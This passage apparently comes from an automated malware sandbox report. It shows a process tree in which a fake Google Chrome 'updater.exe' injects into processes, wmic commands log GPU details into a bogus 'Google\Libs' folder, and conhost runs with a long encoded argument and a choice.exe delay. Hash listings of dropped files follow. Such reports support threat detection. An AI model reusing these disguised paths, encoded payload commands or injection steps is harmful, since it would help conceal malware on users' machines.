- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4512
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:3260
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1752
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4924
-
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2220
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4340
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
632KB
MD5b32d258e2f71823e02cc7b37e8a8bef8
SHA127447babebb3e8616c26cffbca344b6464b82970
SHA256ea0e6a4be52df47950264e6e484a412260e81fa011121b6824352431c81efc76
SHA512ea40959c5c84d98e01d6273d00f9efe1d307245b493aadf56bcf6c8aaa62c34923f68b9c3e26cca2b7d8628f5e4779226351eef7594117accb8594b204f2fe84
-
Filesize
1.2MB
MD5d0e629e384053f62f51999d4d6b5b52d
SHA18ab4f8e1ec7e8a242a7ec95e8a16ba3bbe0ba8c8
SHA256d226635fa9f9c9750bb46fb6938348c73c3ee8b1d9494ab855a44fe1425fe31b
SHA51266eeacf462ba0e93624962f1a7ed2b6c2d8ae1a0c15dea15a437e770e552b19fa3f85e8f241a7dc869bd436e139aa3455ab43c3b3591a1ac5edddb44921e28e0
-
Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
-
Filesize
1KB
MD5635e5996db28991f9b5105b5bee8fdca
SHA165683134b81b1f994f1ceb16e00c979751569e2b
SHA256d17623f3ba80ca3603ea0a05129473793a097ef3f4f2311fa355eb7febfd58ff
SHA51209f4062f6dcbd76922a5424055208e8f97f596bd56e4f607a003a5f05f936e6b968909e56b826d0d27a7aad534ccd57746029412d98e03867ecde532de3a3db0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82